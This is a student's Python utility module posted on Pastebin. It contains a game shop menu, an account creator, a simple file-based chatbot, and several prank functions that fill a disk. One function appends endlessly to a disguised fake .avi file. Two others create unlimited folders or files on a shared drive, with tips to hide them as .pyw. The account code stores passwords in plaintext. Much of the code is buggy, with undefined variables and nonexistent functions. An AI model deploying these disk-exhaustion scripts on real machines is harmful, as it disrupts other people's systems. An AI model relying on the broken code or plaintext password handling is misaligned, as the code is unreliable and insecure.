Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # This mega-module was created by Jeremiah Boby
- # Do not use without prior permission, or legal stuff will happen
- #
- # █████████████████████████████████████████████████████████████████████████████
- # █ █
- # █ ██ ██ █████ ████ ████ ██ ██ ████ ████ █ █ █ █████ ██
- # █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██
- # █ █ █ █ █████ █ ███ ██████ █ █ █ █ █ █ █ █ █ █ █████ ██
- # █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██
- # █ █ █ █████ ████ █ █ █ █ ████ ████ ████ █████ █████ ██
- # █ ██
- # █ ████ █████ ██
- # █ █ █ █ ██
- # █ ██████ █ █ ████ ██████ ██
- # █ █ █ █ ██
- # █ ████ █ ██
- # █ ██
- # █ ████ █ █ █ █████ █████ ████ ██ ██ █████ ██ █ █████ █████ █████ ██
- # █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██
- # █ ██████ █ █ █ █████ █████ █ █ █ █ █ █████ █ █ █ █████ █████ █████ ██
- # █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ █ █ █ ██
- # █ █ █ ██████ █████ █████ ████ █ █ █████ █ █ █████ █████ █████ ██
- # █ ██
- # █ © Jeremiah Boby 2016 ███
- # ███████████████████████████████████████████████████████████████████████████████
- # █████████████████████████████████████████████████████████████████████████████
- #
- # The mega module of awesomeness is the pinnacle of expertise. It contains the
- # genius collected programming knowledge of Jeremiah Boby, built over the
- # years and condensed into this module full of useful and efficient functions!
- def gshp(buy, relics, type_of, coin_balance):
- # In-game shop program
- # (Year 9)
- import os
- choice = str.lower(input("Welcome to the " + type_of + " shop! What would you like me to do?\n | Buy | Sell | Relics | Repair |\n>>"))
- if choice == "buy":
- for i in range(len(buy)):
- print("\n" + str(i+1) + " Item: " + buy[i-1][0] + " cost: " + str(buy[i-1][1]))
- # collects data
- while boolean == True:
- try:
- choice = int(input("\nWhat would you like to buy?\nEnter the number of the Item >>"))
- boolean = False
- except:
- print("\That's not a choice!\n")
- elif choice == "sell":
- choice = int(input("\nWhat would you like to sell?\nEnter the number of the Item >>"))
- elif choice == "relics":
- choice = int(input("\nYou must be a connosseur if those caught your eye. What would you like?\nEnter the number of the Item >>"))
- elif choice == "repair":
- choice = int(input("\nWhat would you like me to repair?\nEnter the number of the Item >>"))
- return choice
- def acrn():
- # Account creator program
- # (Year 10)
- import os
- os.system("cls")
- choice = str.lower(input("\nAre you a returning user?\nEnter y/n >> "))
- os.system("cls")
- if choice == "y":
- # Retrieving user data...
- keepLooping = True
- # A boolean while loop allows me to quit the loop only when the boolean "keepLooping" is assigned to false
- while keepLooping == True:
- try:
- username = input("\nWhat is your username?\nEnter username >> ")
- password = getpass.getpass("\nWhat is your password?\nEnter password >> ")
- os.system("cls")
- userFile = open("Players/"+username+"/Password.txt","r+")
- # Opens an existing text file to read previous Game Data
- userPass = userFile.read()
- if userPass == password:
- input("\nYou are logged in!")
- keepLooping = False
- else:
- # Error codes allow me to track errors when debugging the program
- print("\nError 1: Incorrect Username or Password combination. Try Again.")
- except:
- print("\nError 2: Username or Password File not found. Try Again.")
- elif choice == "n":
- # Account Creation...
- choice = str.lower(input("\nWould you like to create an account?\nEnter y/n >> "))
- if choice == "y":
- boolean = True
- # Boolean loop, as described above
- while boolean == True:
- os.system("cls")
- new_user = input("\nWhat would you like your username to be?\nEnter your new username >> ")
- if os.path.exists("Players/" + new_user):
- # "os.path.exists" allows me to check for an existing folder directory
- print("\nError 3: This user already exists. Try again.")
- else:
- os.makedirs("Players/" + new_user)
- # "os.makedirs" allows me to create a new folder directory for new user data
- new_pass = getpass.getpass("What would you like your password to be?\nEnter your new password >> ")
- # "getpass.getpass" allows the user to enter text without it being recorded on the screen
- passwordFile = open("Players/" + new_user + "/Password.txt","a")
- # Creates a Password file in "append" format
- passwordFile.close()
- # Closes the text file to reopen later...
- passwordFile = open("Players/" + new_user + "/Password.txt","r+")
- # Reopens the closed text file in a read/writeable format
- passwordFile.write(new_pass)
- # Writes the new password to the text file
- passwordFile.close()
- # Closes the password file to prevent further use
- teamFile.close()
- os.system("cls")
- input("\nYou are logged in!")
- import os
- os.system("cls")
- username = new_user
- # Sets the "username" variable to the user's entered username and returns it for local use
- boolean = False
- def dhck():
- # Data injector program
- # (Year 10)
- # Use with .pyw for a better effect
- # I am not responsible for misuse of this code (heh heh heh)
- import math
- # Imports the math function for string divisions
- file = "1"
- filename = open("H:/My Videos/Sample Video.avi","a")
- # Creates an inconspicuous fake .avi file
- # "Append" mode to proportionally increase its size
- while True:
- file = file + "1"
- # Constantly increases the size of this variable
- try:
- filename.write(file)
- # Checks if there is enough free space to add data
- except:
- while True:
- file = file[0:math.round(len(file)/2,0)]
- try:
- filename.write(file)
- # Injects data into the fake .avi file
- except:
- file = file[0:len(file)/2]
- filename.close()
- # Refereshes the size of the file so that it can be recognised
- filename = open("H:/My Videos/Sample Video.avi","a")
- # Reopens for editing and loops
- def runr():
- # Runs a program from system32
- # (Year 10)
- while True:
- name = input("What is the name of the program you want to run? (e.g. dialer)\n>> ")
- extension = input("What is the file extension? (e.g. exe)\n>> ")
- print("\nInitialising...\n")
- import os
- # Uses the os function "popen" to open a file
- os.popen("C:/Windows/System32/"+str.lower(name)+"."+str.lower(extension))
- def fldr():
- # Creates an ongoing number of folders in the host's drive
- # (Year 10)
- # Use with .pyw for a better effect (Must remove input loop)
- import os
- name = input("Name of Folders?\n>> ")
- print("Running...\n")
- i = 1
- while True:
- os.makedirs("H:/"+name+" "+str(i))
- i = i+1
- def flwr():
- # Creates an ongoing number of text files in the host's drive
- # (Year 10)
- import os
- name = input("Name of Files?\n>> ")
- print("Running...\n")
- i = 1
- while True:
- filename = open("H:/"+name+" "+str(i)+".txt","a")
- filename.close()
- i = i+1
- def saim():
- # Activates a self-learning conversation program
- # AI, basically
- # (Year 10)
- # Setting name beforehand so that name inclusive chats are functional
- name = "Mortal"
- input("Welcome to the Self-learning Artificially Intelligent Machine (SAIM)")
- # Time module adds non-proportional wait time to chat (realistic)
- import time
- # Os module allows chat clearing (realistic)
- import os
- # Sets lastAnswer. I could have set it to nothing, but where's the fun in that
- lastAnswer = "LastAnswer"
- # Jokes from http://www.recreationtherapy.com/tx/trajokes.htm
- jokeBank = {"What do you call a cow with one leg?":"Lean Beef!","What do you call a cow with a twitch?":"Beef Jerky!",
- "Why were the strawberries all upset?":"They were in a jam!"}
- while True:
- # Clears chat, as said above
- os.system("cls")
- userInput = input("\nWhat would you like to tell SAIM?\n>> ")
- # Text files can't have question marks...
- if userInput[len(userInput)-1] == "?":
- userInput = userInput[0:len(userInput)-2]
- # Checking if SAIM has a chat in it's database
- try:
- file = open("//ps-file2/StudentDocs$/Intake2012/130201JB/School/Computer Science/Projects/Python/.Unfinished Projects/SAIM/Answers/" + userInput + ".txt","r")
- except:
- # If it doesn't:
- time.sleep(0.5)
- # Creating file beforehand
- file = open("//ps-file2/StudentDocs$/Intake2012/130201JB/School/Computer Science/Projects/Python/.Unfinished Projects/SAIM/Answers/" + userInput + ".txt","a")
- file.close()
- file = open("//ps-file2/StudentDocs$/Intake2012/130201JB/School/Computer Science/Projects/Python/.Unfinished Projects/SAIM/Answers/" + userInput + ".txt","w")
- print("\nUhh...")
- time.sleep(0.5)
- print("I don't know what to say here. A little help?")
- time.sleep(0.5)
- os.system("cls")
- # User enters correct answer
- answer = input("\nWhat should I say?\n>> ")
- os.system("cls")
- # Writes answer to
- file.write(answer)
- file.close()
- file = open("//ps-file2/StudentDocs$/Intake2012/130201JB/School/Computer Science/Projects/Python/.Unfinished Projects/SAIM/Answers/" + userInput + ".txt","r")
- recentAnswer = str.capitalize(file.read())
- if "<name>" in recentAnswer:
- recentAnswer.replace("<name>",name)
- os.system("cls")
- print("\n[SAIM is typing...]")
- time.sleep(1)
- os.system("cls")
- input("\n" + recentAnswer)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement